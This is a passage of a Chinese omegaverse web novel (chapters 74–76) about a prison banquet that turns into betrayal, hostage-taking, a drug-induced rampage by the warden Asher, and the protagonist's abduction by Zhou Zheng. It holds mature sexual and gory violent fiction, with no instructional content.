一直昏暗的监狱被点缀上了各种水晶和灯光,从远处望去,耀眼极了。 囚犯们都被狱警们提前警告过,所以格外的安分。 这里面应该也有着周峥和亚当的功劳。 楚青琅站在楼上,看着一批穿着奢华的人被刀疤带进来,时不时的,他们还因为监狱的规模和设施发出惊呼。 尤其是最前面的西瑞尔,兴致勃勃的和旁人讨论着,还招手让刀疤停下,指着前方让他介绍。 要不是他知道了亚当和西瑞尔的计划,还真的就被他这一副过来游玩的架势欺骗了。 冰凉的身躯贴上他的脊背,放在窗边的手被一只苍白的手握住,按在了窗户上。 楚青琅低哑着声音,“阿舍尔别,刚换的衣服,等宴会完再” 阿舍尔却完全没有听见一般,手朝着下方摸去。 “你答应我的。” 湿热的气息从耳边传来,楚青琅敏感的偏了下头。 “马上你弟弟就要上来了,别动了!” 阿舍尔咬住他的后颈厮磨,“丄我。” 楚青琅唇被吻住。 属于alpha的信息素在周围浮动,带着明显的焦躁和不易察觉的杀意。 但是楚青琅混沌的思绪完全无法捕捉他的异样。 汗水顺着脖颈滑落脊背,在玻璃上氤氲出朦胧雾气。 脊骨格外漂亮,腰间被一只手紧紧握住,黑发散乱粘连在颈项和侧脸。 混沌中,楚青琅迷蒙瞧见下方的和阿舍尔同样有着黑发红眼的alpha仰头望了过来。 面上带着灿烂的笑,红眸澄澈。 下一刻,眼前一片黑暗。 一只手伸来阻挡住他和那人的对视。 湿凉的呢喃在耳边响起。 “别离开我。” 顷刻间,楚青琅重新坠入混沌欢愉中。 等他再次回神,整个人就已经浸泡在了放满水的浴缸里,阿舍尔在他的面前跪着清理自己。 因为手臂后背,肩颈肌肉隆起,衬得腰肢愈发劲瘦,皮肤是同样的苍白,但是此时上面却多了许多暧昧的痕迹。 楚青琅看了一会儿,忽然身后按住他的后颈,将人搂来吻了上去。 阿舍尔只惊讶了一瞬,就疯狂的迎合了上去。 身体倾倒,水流瞬间淹没头顶。 窒息感传来,楚青琅狼狈的拍打着alpha的肩膀,却被按着手无法动弹。 “是你勾/引我。” 低哑的声音满是侵/略欲/望,灼热气息顺着咽喉钻进,指尖无力般的随着起/伏轻颤。 “混……混蛋!” 等到两人再次换好衣服出来,沙发上已经坐了一个人。 他拿着掌端,指尖动作着。 是西瑞尔。 仿佛察觉到两人的脚步声,西瑞尔放下另一只手端着的茶杯,扭头望了过去。 “哥哥!”他注意到一旁跟着的楚青琅,连忙站起身,走过来就要牵起他的手,“这位美丽的先生,还未请教您的姓名,先前您的魅力使我魂牵梦绕,我是多么庆幸这次过来了,竟然能看见您这等人物,您是从那里来的,您有做过信息素匹配吗?” 楚青琅被这一连串的赞美给砸的懵了一瞬,就这样被握住了手。 西瑞尔没有得到回应,也没有在意,只是弯腰就要吻他的指尖。 在他的唇即将碰上时,一旁的阿舍尔猛地将楚青琅朝后拉去,抬脚踹了过去。 漆黑的皮靴带着劲风,直直的冲着脖颈而去,毫不留情。 楚青琅站在一旁为这实打实的兄弟情开了眼界。 西瑞尔侧了下身,硬生生的用肩膀接住了那一脚,然后被力道冲的后退了一步。 他习以为常的模样,只是侧头看了一眼肩膀上的印记,埋怨道: “哥哥,我等下还要下去开场呢,你都给我衣服弄脏了。” 阿舍尔冷冷的瞥他,“滚,做你的事情去。” 西瑞尔朝着楚青琅耸了耸肩,“好吧,我就是想问哥哥你下不下去,如果你不下去的话,这位——” 楚青琅接话,“我姓楚。” 希瑞尔说:“楚先生,您要和我过去吗?下面可比上面好玩多了,我们准备了烟花还有中心城最受欢迎的歌舞团。” 楚青琅犹疑了一下,西瑞尔可怜兮兮道:“您可一定要答应我,不然我会心碎的。” 说完他还夸张的捂着胸口,一双红眼睛瞬间湿漉漉起来。 他和阿舍尔真的一点都不一样。 楚青琅不禁看了一旁冷着脸的alpha,却见他侧了下头,平静道:“想去?” 今天晚上就是周峥要处理亚当的时候了。 他需要在一旁看着,免得发生意外。 楚青琅点了下头。 阿舍尔缓缓松开了握住他的手,解开身上的大衣,给他披了上去。 “那就去吧。” 楚青琅又牵住他的手,“你和我一起。” 西瑞尔站在一旁笑眯眯的瞧着他们,“哥哥,你的变化真的很大呢?之前就算是我抢你的玩具,你都没有这么大的反应。对了,干脆将那些囚犯都叫下来吧,热闹一点。” 阿舍尔没有说答应还是不答应,西瑞尔却仿佛得到了允许一般,直接朝着门外吩咐道:“让刀疤去把人都叫下来,记得让他们远离我带过来的朋友。” 狱警看了一眼阿舍尔,见他没有反对,就垂头说:“是。” 阿舍尔抬手拨了一下楚青琅垂在眉前的发。 随后弯腰在他的额前落下了一吻,轻声道:“我晚点过去。” 楚青琅下意识的点头,随后奇怪的看了一眼他,张口正准备说些什么,就被西瑞尔拽住了手腕,拉出了房间。 在最后,楚青琅回头,看着被仍在房间中的alpha直起了身子。 灯光拢着他的全身,明明那么高大,却仿佛只是一层单薄的剪影,苍白面孔上仅有的一丝温情消失不见。 看过去,仿佛在凝视深渊一般 此时,监狱里面竟然难得的热闹起来。 除了穿着漆黑制服的狱警,还有穿着燕尾服的男侍和穿着统一灰色裙装的女仆。 来来往往间,将监狱硬生生的装饰成了城堡,如果囚犯不下来的话。 走过长廊,楚青琅看了眼已经暗下去的天空。 西瑞尔走在他的身旁,笑着说话,试图拉回他的注意力。 “楚先生是怎么来到莫菲斯特的啊?我看您并不像是罪犯呢,中间是不是有什么误会,需要我和哥哥提一提吗?”他凑近,丝毫没有距离感的样子,“哥哥一旦冷脸还是很吓人的是不是?之前在家里我看见他都不敢说话,但是哥哥真的很厉害,继承人也做的很好,要不是” 他顿了下,将后面含糊了过去,“要不是中间出了一些事情,现在克莱斯特家族的掌权人会是哥哥呢。” 莫名的,楚青琅觉得他好像很需要旁人的注视。 他故意冷淡的应了一声,就看着前方,沉默了下去。 余光中,西瑞尔很明显的蹙了下眉,却又很快调整了表情,“楚先生喜欢哥哥吗?” 楚青琅没有说话,只是羞涩似的偏了下头。 西瑞尔明显接住了他的信号,仿佛有些惊讶,他说:“母亲还担心哥哥一直会孤独下去呢,没想到在莫菲斯特哥哥倒是碰见了楚先生,如果母亲在天有灵,也会放心吧。” 楚青琅头一回侧目,“阿舍尔很好。” 西瑞尔笑了一声,澄澈的红眸却添了些许的阴翳,“哥哥当然是最好的。对了,我们到了。等下跟着我,我为你介绍朋友,他们都很好相处的。” 看着他的表情变化,楚青琅隐约间有所明悟。 这个人是在嫉妒阿舍尔。 怪不得一上来就对他这么热情,话里话外都在贬低阿舍尔。 在进去之前,楚青琅却突然被攥住了手腕。 西瑞尔精致的面容凑上来,“这样看来,楚先生以后会是我哥哥的妻子。” 他离的太近了,一股湿冷的信息素缠绕上来,就像是冬天阴干的衣服,湿答答的黏在了身上。 楚青琅赶到不适,抬手就想要打人,却被西瑞尔一把拽住了手腕。 青年蹙眉,唇抿着,抬眼朦胧眼眸带着显而易见的不满之色,西瑞尔凝视着他。 “嫂子?考虑我一下怎么样?我现在可是克莱斯特家族的家主。” 这人,有病! 楚青琅感觉牙痒痒的,挣开攥住他的手,他按着他的肩膀将人推到了墙壁上。 “滚!” 西瑞尔被拒绝并没有生气,他只是用那双通透红眸盯着楚青琅,从眼尾的红到唇上的牙印。 他抬手吻了一下触摸过青年肌肤的指尖。 “是我失礼了,楚先生实在是太漂亮了。” 周围浮动的信息素依依不舍的散开,西瑞尔重新恢复成那礼貌可亲的模样。 …… 西瑞尔所说的地方是一个小型的教堂,此时已经被改造成了金碧辉煌的宴会厅。 地上铺着暗金色的地毯,两边的帷幕拉起,可以看见窗外绵延的绿和深沉的天空。 西瑞尔拿起侍从端过来的酒杯,递给了楚青琅。 “这个教堂还是我建造的,原本想着用信仰来引导那些犯人悔改,谁知道等我一回去,哥哥就把他当了杂物间。” 他埋怨似的道:“要不是我今天过来,还不知道呢。” “嗯。” 也许在别的地方信仰是有用的,但是在墨菲斯特,信仰只会让人绝望。 楚青琅看着手中琥珀色的酒液,抿了一口。西瑞尔仿佛随口一说,很快就向着围上来的人打起了招呼。 还时不时的将楚青琅拽出来。 但是他并不喜欢这种场面,趁着西瑞尔和旁人说话的空隙后退了一步,就隐在了暗处。 西瑞尔被簇拥着走到宴会的中心,仿佛察觉到他不在了,不时朝着周围巡梭,试图寻找到他。 楚青琅侧了下身,他觉得阿舍尔不喜欢西瑞尔是有原因的。 哪家弟弟会一上来就让自己哥哥的恋人考虑一下自己的! 随手将酒杯放到了经过的侍从手中的托盘上。 楚青琅努力把自己的思维掰回来。 虽然周峥说了他的计划,但是他还是要提高警惕。 免得突然发生什么意外,就像前面几个世界一样。 计划开始的时间应该是西瑞尔这个宴会的尾端,囚犯会被带下来,一起参与所谓的篝火晚会。 到时候,所有的狱警的注意力就会在他们身上,免得他们被囚犯们冒犯。 楚青琅注意到,西瑞尔这次来带了几个omega。 周峥说的混乱,很有可能是在那些omega的身上实施。 就在观察的时候,莫名的,楚青琅脊背一寒,感觉有一道目光在盯着他。 带着灼热的温度,犹如实质。 是谁? 楚青琅僵硬了一下身躯,却很快放松下来。 他不着痕迹的左右看着,仿佛对这场宴会感到好奇。 璀璨漂亮的吊灯下,所有人都面带笑容,姿态优雅,在一旁,乐团正奏着悠扬的音乐,瞧起来比客人们沉迷多了,连眼皮都没抬一下。 到底是谁? 有脚步声从身后传来,楚青琅猛地回头,只看见金发碧眼的亚当站在那里。 可爱精致的面孔上带着灰渍,湛蓝眼底阴霾密布。 他怎么会过来?视线是他的? 不,现在那道视线依然在。 “亚当?” 楚青琅率先开口,桃花眼弯起,“你提前过来了?西瑞尔还说等下就去叫你们呢。” 亚当瞳孔不自然的颤抖着,面容紧绷,却在他的视线下露出笑来。 “麻烦您过来一下好吗?” 他这样说着,一抹寒光忽的刺入眼眸。 楚青琅看见了他手中握着的枪。 他为了观察,特意挑的隐蔽角落,就算是刻意寻找,只要他不主动出来,旁人就不会发现他在哪里。 没想到,现在倒是方便了别人来袭击他。 “为什么?” 楚青琅举起手。 难道亚当察觉到了周峥准备的陷阱? 所以狗急跳墙,但是为什么要挟持他?直接带着人去打周峥不是更好的选择吗? 毕竟周峥在短时间内吸纳了这么多的手下,还没有彻底稳住地位。 手臂传来巨力,亚当猛地将他扯了过来,坚硬的枪口对着他的心脏。 “你们想要我死,做梦!!!” 楚青琅:“?!” 第75章 第 75 章 天亮后。 “你们想要我死?做梦!!!” 这歇斯底里的话一出, 楚青琅心中一沉。 亚当竟然真的知道了周峥的计划。 不行,必须要找机会告诉周峥。 楚青琅深呼吸了一口气,缓缓放下了手。 他偏头,灯光斜斜打在他的面颊旁, 将那双如梦一般的眼眸照的透亮动人。 “亚当, 我们中间一定有误会, 别激动好吗?” 身后的人却并没有看他, 只是警惕的向着周围望去。 胁迫着他朝着前面走,面容带着神经质的怒意。 “给我闭嘴!再让我听见你发出一点声音我就给你舌头割掉!” 楚青琅后背被枪口硌得生疼, 他只能先假装顺从,朝着外面走去。 飘扬的音乐声和明亮的灯光渐渐被两人抛在身后,风刮着,带来些许寒意。 他们走的是一个小道,同时完美的避开了狱警的巡逻, 朝着远处的树林走去。 穿过这篇茂密的丛林后,就是海岸边缘,上面停着西瑞尔带来的船只。 只要得到了那艘空船, 就可以彻底的逃出莫菲斯特。 因为害怕被发现, 两人并未携带任何照明设施。 周围是一片粘稠的黑。 树叶垂在头顶脸侧, 身后的人呼吸急促,攥着他双手的掌心满是汗水。 楚青琅忽地开口:“这一切不是你设计好的吗?为什么这么紧张?是谁想要杀你?” 话音落下, 身后急促的呼吸忽然停滞。 悚然的安静中, 楚青琅暗暗绷紧了肌肉。 潮湿冰凉的触感悄然贴近,瞬间卡住了他的后颈,将他整个人按在了粗糙的树木上。 亚当的声音高昂,“为什么?你这个贱人从一开始就挑拨我们的关系,仗着监狱长的关系和那个疯子相互配合一点点的铲除我们的势力, 现在安东尼奥,埃文还有花面都死了!” 他压在他的身上,失控的力道使得楚青琅胸腔一阵窒息。 却再黑暗的掩护下,用指甲在树木上刻上了标记。 亚当拿着枪,用力顶着他的下颌,“现在整个莫菲斯特就剩下我了,你说为什么?!!你们甚至还挑拨我的手下今晚越狱,还有那艘船,今天的宴会!!你们绝对要再今天下手。” “那个疯子看我的眼神就像是看一个死人一样,你们要杀了我,不行!我要逃!!” 亚当自顾自的说完后,拽起楚青琅的衣领将他朝着前方推去,“快走!” 楚青琅踉跄了一步,转过身,面上挂上了无奈的笑。 “你在说什么?那艘船的主人是监狱长的弟弟,他经常过来不是吗?而且不是你和他联系要他过来的吗?怎么现在在你嘴里都成了是周峥算计好的?” 面前的金发碧眼的alpha的状况明显不对劲。瞳孔一直是缩小颤抖的,视线飘动,呼吸急促,不时摸着脖颈,神情还带着恐惧。 就仿佛随时会有人跳出来,砍下他的头。 这是应激反应,但是亚当的心理会这么脆弱吗? 就只是一个猜想,周峥甚至还没有实施,就将他吓成了这种样子 楚青琅直觉有那里不对,他摊开双手,语气柔和,“亚当,你看我只是一个omega,你也知道我和监狱长关系好,虽然不知道你到底发生了什么,但是你可以和我讲一讲。” 两人的距离越发近,楚青琅朝他伸出手。 “就算是像你说的那样,有人要杀你,现在能救你的不是只有阿舍尔了吗?我们去找他好不好?” 扳机扣动的声音猝然响起,一颗子弹猛地擦过他的面颊钻进了树木。 刺痛传来,楚青琅才察觉到自己出了一身的冷汗。 亚当终于将视线放在了他的身上,“别想骗我!你和那个疯子是一伙的!!你和他是一起的,你们都想杀了我!!!” 楚青琅咽喉滚动了一下,漆黑的枪口对着他的眉心。 但是他面上温柔含情的神情却并没有什么变化,甚至因为面颊流出的鲜血,凭空增添了几分忧郁脆弱。 “疯子?你是说周峥吗?”他说:“我们确实是一起来的,但是自从我们已经很长时间没有见面了。亚当,你误会我了。” 密长眼睫下,一双眼眸极为诚恳。 玫瑰信息素仿佛因为血液的流逝,而渐渐弥散开来,甜蜜气息在空气中浮动,悄然安抚着困兽一般的alpha。 心中的焦躁杀意被缓解些许。 亚当仿佛突然清醒,望着楚青琅,那双蓝眼睛迸发出极为深刻的恨意。 “你不知道?哈……你不知道!!你以为他是你的好学弟?” “一切都是周峥算计好的,是他找了那艘船,是他联系了开宴会的人,是他时时刻刻的站在我的身边。”他的声音变得尖细,“他这个疯子变态!他将埃文的头割了下来放在观察孔前,还有安东尼奥的皮剥了下来,在我睡觉的时候缝在了我的被子里” 楚青琅面上温柔的表情渐渐僵硬,他瞪大了眼睛盯着亚当。 他说的,是周峥? 但是他白天见到的周峥,依然正常啊? 如果像亚当说的那样,是周峥将他逼疯,然后联系上了西瑞尔开的这个宴会,真的只是要夺取亚撒家族的势力吗? 明明亚当的精神已经很不好了,就算是接着逼下去,也能将他彻底吓疯。 而一个疯子,怎么可能做老大? 这样不就可以兵不血刃的将莫菲斯特的零散的势力收拢。 为什么要废这么大的功夫杀了他? 亚当将枪支抬起,对着他的眉心,嘴里含糊的嘟囔着。 “他是个疯子,我一定要逃,他会剥下我的皮我要杀了你,对了,你是他最重要的人,我要杀了你——” 楚青琅回神,正准备接着询问亚当还知不知道别的事情,却见神情混沌的亚当指尖轻动。 楚青琅瞳孔遽然一缩。 在这一瞬间,他几乎望见了被击针撞击的火药而迸发出来的刺眼光芒。 一声轻微的树枝断裂的声音在不远处响起。 楚青琅倏然回神,只感觉口干舌燥,后背刺冷。 他才反应过来,那不是枪口里的小型爆炸,是远方宴会上的烟花。 亚当一双好看的蓝眼睛死鱼一般凸了出来。 仿佛先前那道声音踩断的是他的脊椎,他无力的朝前扑去。 楚青琅下意识的伸手接住,将他搂在了怀中。 那颗金灿灿的脑袋无力的垂在他的肩窝。 “亚当?” 金发蓝眼的alpah双唇蠕动,夹杂着赫赫的气流声。 “杀了你” 温热的粘腻的液/体顺着指缝流淌。 啪嗒,啪嗒—— 砸在堆叠的树叶上,发出沉闷的响。 耳边的气流声缓缓消失,楚青琅僵硬的抱着他,抬头看向了站在不远处的人影。 “西瑞尔?” 冰冷的声音落下,又很快反驳。 “不,你虽然是他派过来的,但是这不是你会为了他过来刺杀我的理由。” 阿舍尔目光冷淡的瞧着面前被打断四肢趴在地上的人,硬生生的将猜测说成了肯定。 “有什么让你和周峥联手了。” 刀疤咳嗽了一声,血肉顺着咽喉翻涌而上,又被他用牙齿咀嚼了两下重新咽下。 他震了下肩膀,扭曲的手臂在巧妙的力道下很快就恢复成了原状。 他就这样撑着自己从地上爬了起来,单手恢复着自己另外四肢的骨节。 而阿舍尔就坐在沙发上,冷漠且平静的注视着他的所有动作。 桌子上的酒杯是水晶雕刻而成,酒液如琥珀果冻似的,和下面宴会相同。 将自己的四肢恢复好后,刀疤狼狈的靠坐在墙壁旁,指尖滴落着血液,因为伤疤而倍显狰狞的面容上带了一丝的恍惚。 他咧开嘴,牙齿被血染成刺眼的红。 “没有什么原因,就像是您之前说的那样,西瑞尔大人一直都很想要莫菲斯特,但是比起直接接手,重新建一个的难度,要大的多。” 阿舍尔冷眼看着他,冷冽深邃的五官没有丝毫波动。 刀疤的视线从他按着腹部上苍白的手上移开,落到了那瓶晃荡着的酒液,他说:“阿舍尔大人,是您自己放纵了他的发展,养虎为患。” 阿舍尔声音压抑之极,仿佛暴风雨即将到来。 “这瓶酒,是周峥送来的,还是他送来的?” 刀疤颤抖着手从兜里掏出烟,叼在了嘴上。 咔嚓—— 橙红色的火焰灼烧,阿舍尔感觉理智渐渐的消泯,他五指用力,几乎深入皮肉。 刀疤深深吸了一口烟后撑着墙缓缓站起身,面容一如既往的漠然,他却并没有像以往那样回复他的监狱长。 “您第一个错误,就是将那个omega留下,这使得他动摇了您的心智。您的第二个错误,就是因为那个omega,放任周峥的发展,甚至于多次推波助澜养虎为患。您的第三个错误,就是让从来不来的西瑞尔大人上岛,并开启了宴会。” “您最后的一个错误,就是喝下了这瓶,打着楚青琅的名义送过来的酒。” 它将使本来就不稳定的阿舍尔,彻底的失控。 最大的错误,就是不该让他去接那个omega。 刀疤转身朝着门外走去,他夹着烟摸上了手腕的一侧。 身体内骨骼尽数断裂的痛却仍然掩盖不住那温热的触感。 仿佛在那一天,omega就给他种下了毒疮,顺着手腕感染到了心脏。 然后让他眼睁睁的看着omega踏入了别人的怀抱。 墨菲斯特里面的人从来都不是什么好东西。 嫉妒,怨恨,因为弱小才会聚集在一起,小人一般算计了一切。 咔哒—— 房门被关上。 阿舍尔弓起脊背,苍白的手按住脸,心肺被都被那火焰灼烧,仅有的理智依然在分析着刀疤透露的问题。 没关系,不是青琅送过来的酒。 不是青琅想要离开才和周峥联合要杀死他。 是西瑞尔派来监视他的刀疤和周峥联合了,并且 粗重的喘息,后颈汗珠滚滚落下,脊背后方肌肉隆起,无法压抑的杀意和躁狂将他仅有的理智几乎撕扯了个干净。 漆黑指缝中,猩红瞳孔如野兽般竖起。 “咻——咻——” 窗外,深蓝色的天空被粲然绽放的烟花照亮。 一直安静的异常的监狱,忽然嘈杂起来,不少穿着囚服的囚犯出现再窗口,发出雀跃欢呼。 莫菲斯特监狱,彻底热闹起来。 西瑞尔几乎有些微醺,喜悦充斥他的身躯,他简直要大笑出声。 如果说阿舍尔是生理上的残缺,在易感期无法接受omega的抚慰,那么他就是精神上的变态。 从小时候家中的人就一直注意着阿舍尔,眼中只有他,明明他西瑞尔也是alpha,为什么没人看见他呢? 西瑞尔一直想,一直想,直到阿舍尔的缺陷暴露出来,他骤然处在所有人的注视中时,他才明悟。 ——是因为他的哥哥在啊。 是他的哥哥阻挡了他的生长,阻止了他收拢权力,但是在他即将下手的时候,阿舍尔竟然主动离开了家族。 去外面建立了一个所谓的监狱。 没关系,掌控着克莱斯特的他想,毕竟是自己的哥哥,只要他不再出现,他也不一定非要送他死亡…… “西瑞尔,听说这个监狱是你哥哥建造的,我们很好奇,不知道您可否帮忙引荐一下?” 穿着奢华绸裙的omega面容娇艳,好奇的望着他,提出了请求。 被打断思绪的西瑞尔灿烂的笑起来,“当然可以,就是我的哥哥脾气不太好,希望美丽的黛雅小姐不要在意。” 说完,他俏皮的挤了一下眼睛。 逗得面前的omega弯起了眼。 烟花依然放着,令人震撼,不远处的篝火旁已经出现了囚犯的身影。 模糊间,西瑞尔听见凄惨的喊叫声。 他轻抿了一下酒杯,想到那里了,对了。 如果哥哥就此疯了就好了。 为什么会出现一个omega呢?还能够抚/慰哥哥的易感期。 为什么呢? 篝火上方腾起的火焰将空气扭曲,湿润的鲜血洒落进去,发出一阵滋啦的响声。 囚犯们四散逃窜,身后却有着一个人野兽一般追随着他们,手一挥,便硬生生拔下一个人的头颅,只留下了空荡荡的脖颈和喷涌而出的鲜血。 从中心城请来的乐师依然垂着眼皮演奏着。 就算鲜血被溅到他们身上,也如露珠一般,作为了宴会的点缀。 “怪物啊!!” “那是谁?好眼熟!” “那是——阿舍尔·克莱斯特!!!” 西瑞尔仿佛被这个名字镇了一下,他连忙放下酒杯,担忧的望了过去。 他说:“…是哥哥,他还是没有抵抗住,彻底失控了。” 先前还想要见他哥哥的,美丽的omega小姐惊恐的依赖的扯着他的衣袖。 “那我们怎么办?他失控了!一个顶级的alpha会把我们全杀掉的!!” 西瑞尔带着带着忧郁,却依然平静。 “别担心,这个宴会厅已经被改造过了,他过不来的。” 他顿了下,仿佛不忍。 “这里有着许多的囚犯,他们都被叫下来参与我们的晚会了。这么多的鲜血,足够叫他冷静下来了。” “等到天亮,我们就可以乘着船回去。” 远处的怪物仿佛听见了他柔和暗藏倨傲的话话语,浑身沐血的向着教堂袭来。 烟花猝然亮起,那双猩红眼眸顷刻间便出现在了玻璃前,吓得众人尖叫出声。 苍白大手试图破开窗户,但是指尖接触的瞬间,蓝紫光屏无声显现。 柔和的波纹荡漾着,那怪物却仿佛被枪/击中一般,面容扭曲了一瞬。 西瑞尔却只是笑着,暖红眼眸满是欣悦,看着那怪物不甘后退,重新追逐起囚犯来。 他叹了一口气。 “我还以为他会再坚持一下。” 脚步声轻盈,先前在宴会上感受到的目光又再次盯过来。 楚青琅胸口快速起伏了一瞬,他随手将怀中的死尸推到地上,看着眼前的人说:“周峥,你骗我。” “学长,亚当已经死了,就像是您为我规划的那样,怎么能说是骗您。”周峥一只手捧着电子烛火,一只手拿着因血液而斑驳的匕首,他清俊的面孔含笑,眼眸黑亮,无辜又亲昵道:“这个罪名太过严重,学长,我会伤心的。” 楚青琅看着他,算是将脑子里关于他的所有陈旧印象给清除了。 先前他总以为主角攻冲动,爱哭,不会掩饰自己的情绪,看来是他认知有错误。 所以,改变这么大的主角攻,要做什么? 楚青琅后退一步,避开了他伸过来的手,“周峥,是你联系了西瑞尔。” 周峥看了一眼他被血渍沾染的手,收回了手帕,“是。” 楚青琅感受着脚底坚硬的金属,声音平静,“你不应该认识西瑞尔。” 周峥弯起眼,温柔的凝望着他,依然是仰视的,“嗯,但是阿舍尔太残暴了,刀疤忍受不了他就过来找我合作,说是西瑞尔一直想要莫菲斯特,但是苦于没有办法,就想要和我里应外合,将阿舍尔杀死,然后得到这座监狱。” “杀死阿舍尔是他们的事情,我只是想要和学长一起回家,所以也就答应了他们。亚当由我逼疯,让他带着学长出去。” 他有些懊恼道:“本来想要救一下学长的,但是中间耽误了一些时间,还是让学长听见了他说的对我不好的话。” 周峥上前,终于握住了正处于震惊的楚青琅的手,撒娇般的晃了下,“学长,别信他好不好?” 楚青琅抽回手,说:“然后呢?” 看着仿佛没有明白的周峥,他重复道:“杀了亚当,然后呢?” 现在算是走上剧情的正轨了吗? 阿舍尔会死亡,西瑞尔上位,然后周峥因为杀死了亚当所以一统了莫菲斯特的势力。 他的任务,可以完成了? 明明是值得开心的事情,但是莫名的楚青琅却喜悦不起来,他从未如此深刻的体会到吗,自己任务的失败是有原因的。 他没有把这些人当作真的人去看待。 剧情人物是会按照剧情走下去,但是他所在的一般都是剧情之外,就算是有着天道的监督,也有很大的可能察觉到不对,就像是祁温。 他为什么那么傲慢,竟然觉得自己是旁人生命中的园丁,能够修剪岔枝。 事情是怎么发展到这个地步的? 他不知道。 周峥到底是从哪一步开始崩坏的? 他同样不知道。 这次的任务完成,并不是他的功劳。 温热的触感从指尖传来,周峥依然凑在他的面前,黝黑的眼眸含着笑。 楚青琅神情彻底冷下,他猛地伸手,趁着周峥双手不便,一个擒拿将人按在了地上,同时捡起亚当落在地上的枪怼住了周峥的太阳穴。 “你们要对阿舍尔做什么?” 电子烛火滚落在地,接触不良一般明灭。 泥土混着血腥气,树叶腐烂的气息,甜蜜的玫瑰香气。 周峥趴在肮脏地上,却还是没有忍住笑出了声。 “学长和我一样,一动手就会下意识的使用军校里面的教导的招式呢。” 楚青琅皱了下眉,周峥却猛地翻身。 一只手攥住他的手腕,另一只手直冲双眼,在他下意识伸手阻挡时,又顺势变招,压着他的脖颈将他压在了身下。 “但是在莫菲斯特,军校里的招式并不够用。”周峥说:“学长,我知道你现在担心那个alpha,但是这都是标记的作用,并不是你心中真实的想法,只要远离了这里,你很快就会好的。” 手腕一抽一抽的痛,脖颈被用力掐着,楚青琅只能张口,却无法发出任何声音。 他明明知道他的腺体已经割掉!根本不会受到标记的影响!! 但是周峥根本没有想让他说话,没给他拒绝的机会。 稀薄的月光下,隐约间可以看见远处天空中许多灿烂的光芒骤起又陡然落下。 那张清俊的面孔悬在他的面前,仿佛察觉到他的分神,又压低了一些距离。 “学长,你答应我的,我们一起回家。” 楚青琅反应了一下,忽然意识到什么,眨眼的频率都加快了。 这不对劲?! 回什么家啊?!他的任务!!! 周峥看着,声音越发温柔起来:“别激动,等明天我们就到家了。” 脖颈上的手松开,楚青琅侧头咳嗽了几下,“别回去!我要见阿舍尔,如果——” 粗糙的掌心压住他的唇,将所有的话语都堵了回去,湿濡的热气不经意的扑洒在上面,周峥眼中划过暗沉。 “嘘,我说了,我会杀了他,学长。” 楚青琅还想要说些什么,肩膀处就传来极轻微的刺痛。 偏头看去,一管晶莹液体被注射进去,他伸手想阻止,却被一把抓住了手腕按在了地上。 周峥弯腰,将唇印于青年眉心,被照亮的小半张面孔温柔虔诚。 “学长,天亮后一切都会好的。” 第76章 第 76 章 深入。 “别!” 楚青琅猛地坐起, 心中还残留着惊惧。 梦中他的任务真的完成了,主系统也联系上了,因此顺利的回到了主神空间。 在主系统那里重看任务记录的时候,他并没有清楚看见阿舍尔是如何被杀死的。 只记得那一双红眸缄默又深邃的凝望着他, 直到最后密长眼睫垂下, 屏幕一片漆黑。 楚青琅打开系统面板, 看完任务后呼了一口气。 任务并没有完成, 这说明阿舍尔并没有死亡。 不能让周峥离开这里。 主角离开自己的剧情地算是怎么回事? 楚青琅都可以想象周峥要是真的离开了莫菲斯特,剧情偏移度会直接拉满。 毕竟这就相当于主角攻受完全不可能见面了。 他扭头。 紧闭的窗户外, 是一望无际的海面。 身下的床软弹,一旁阳光透过半敛纱帘落在地上,照亮了地板,显出粼粼光彩。 这是在船上,西瑞尔的船上? 楚青琅掀开滑落到腰腹的被子。 他要去找周峥, 不管用什么办法,都要让他留下来。 如果可以的话。 隐约间,楚青琅也对自己的任务有点不自信了。 只是脚尖刚接触地面, 四肢就一阵的无力, 他连忙按住了床边。 周峥到底给他下了什么药? 他默默积蓄了一些力气, 转身朝着窗外门口走去。 房门打开,红色的地毯绵延, 两旁是格局相似的房间, 安静极了。 楚青琅朝着前面走去,沿着舷梯,来到了甲板旁。 天空湛蓝,海鸥在远处盘旋,不远处沙滩森林一如既往的安宁。 周峥站在甲板上, 面无表情的看着莫菲斯特监狱的方向,仿佛在等待着什么。 楚青琅加重脚步走过去。 周峥瞬间察觉到,扭过头露出笑就要叫他。 却被啪的甩了一巴掌。 面前的青年眼含怒气,神色冰冷,仿佛雪地中的凝霜玫瑰。 周峥捂着被打的脸,顶了下火辣辣的腮帮,笑容未改。 “学长醒了,饿不饿?” 楚青琅揉着掌心,睨他,“放我下去。” 周峥放下手,温柔的说:“学长别担心,等到人齐了我们很快就可以回去。” 楚青琅深呼吸了一下,攥着他的头发将人拉到了自己面前,“你是不是听不懂人话?我说了我没有受到信息素的影响,你和我一起回去。” 说完,他拎着周峥向一旁走去。 只是刚走没几步,喧哗声突然传来。 因为距离问题,楚青琅看不见来人,但是他可以听见那焦急而恐慌的呼唤。 “放舷梯!快点!!” “怪物要来了!!” 楚青琅虽然并不想相信,但是那些人口中的怪物很有可能是阿舍尔。 轻微的机括转动声传来,舷梯缓缓放下。 很快,之前在宴会上穿着奢华的人都跑了上来。 他们形容狼狈,身上溅满了鲜血,就仿佛从血河中爬了出来。 楚青琅瞳孔骤缩。 墨菲斯特监狱到底发生什么了?阿舍尔绝对不会那么轻易的死去。 那些人一个接着一个上来,楚青琅在其中看见了一张熟悉的面孔。 西瑞尔面上并没有其他人脸上的惊慌神色,甚至带着些许的开心。 他站在舷梯的一角,礼貌的搀扶着一位位女士上了船。 看着有人哭出声,他还体贴的递给他们手帕。 周峥佝偻着身子,看着他的举动,嗤笑一声:“他死了没?” 西瑞尔安抚好那位女士,站在舷梯上,向楚青琅笑了一下,“楚先生现在可以考虑一下了吗?” 楚青琅并未回话,在周峥的逼视下,西瑞尔慢条斯理的摇头。 周峥的神情顿时冷下来,“我们的交易可不是这样说的。” 在刀疤的牵线搭桥下,他们做出了这个计划,目的相同,要彻底除掉那个人。 但是现如今西瑞尔却并没有真正的按照计划走,不得不让周峥多想,毕竟那个人和他是同胞兄弟。 西瑞尔看着他,笑的灿烂,“我突然有了更好的想法,与其让他就这样死亡,换得别人的怜惜和尊重,不如让所有人都认识到他是一个怪物。” 周峥厌烦的侧了下身,躲过了他的轻拍,西瑞尔并没介意,只是说:“他已经杀害了那么多的囚犯,还伤害了很多的贵族,他们不会放过他的,一定会联名上书,要求派遣军队过来杀死他。” 这样,阿舍尔将彻底的被唾弃,成为一个真正的怪物! 周峥看着他,突然弯唇冷冷的笑了起来。 “连自己家族名誉都不要了,你还真是——” 西瑞尔礼貌的侧头倾听。 绿影闪过。 周峥的声音戛然而止。 